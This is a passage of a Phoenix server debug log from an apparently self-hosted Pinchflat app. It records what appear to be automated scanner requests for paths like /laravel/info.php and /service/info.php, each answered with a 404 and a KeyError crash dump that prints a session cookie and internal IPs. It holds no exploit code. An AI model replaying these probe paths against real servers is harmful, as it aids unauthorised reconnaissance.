84, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 84, host_info: :undefined }}, assigns: (truncated) 17:14:40.133 [info] GET /current/info.php 17:14:40.133 [debug] QUERY OK source="settings" db=0.1ms idle=512.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:40.133 [debug] QUERY OK source="settings" db=0.0ms idle=512.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:40.134 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:40.134 [error] #PID<0.11852.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 85) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /current/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /current/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 85, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11852.0>, params: %{}, path_info: ["current", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/current/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXjr-ciCSt9sABWeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 85, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /current/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 85, host_info: :undefined }}, a (truncated) 17:14:40.390 [info] GET /services/info.php 17:14:40.390 [debug] QUERY OK source="settings" db=0.1ms idle=513.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:40.390 [debug] QUERY OK source="settings" db=0.0ms idle=513.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:40.391 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:40.391 [error] #PID<0.11853.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 86) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /services/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /services/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 86, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11853.0>, params: %{}, path_info: ["services", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/services/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXkpQ_T68GEgABWgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 86, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /services/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 86, host_info: :undefined }}, (truncated) 17:14:40.647 [info] GET /service/info.php 17:14:40.648 [debug] QUERY OK source="settings" db=0.1ms idle=707.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:40.648 [debug] QUERY OK source="settings" db=0.0ms idle=514.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:40.648 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:40.648 [error] #PID<0.11854.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 87) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /service/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 87, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11854.0>, params: %{}, path_info: ["service", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/service/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXlmqtUzMReEABWiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 87, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 87, host_info: :undefined }}, a (truncated) 17:14:40.903 [info] GET /laravel/info.php 17:14:40.904 [debug] QUERY OK source="settings" db=0.1ms idle=770.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:40.904 [debug] QUERY OK source="settings" db=0.0ms idle=513.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:40.904 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:40.904 [error] #PID<0.11856.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 88) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /laravel/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 88, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11856.0>, params: %{}, path_info: ["laravel", "info"], path_params: %{}, port: 80, 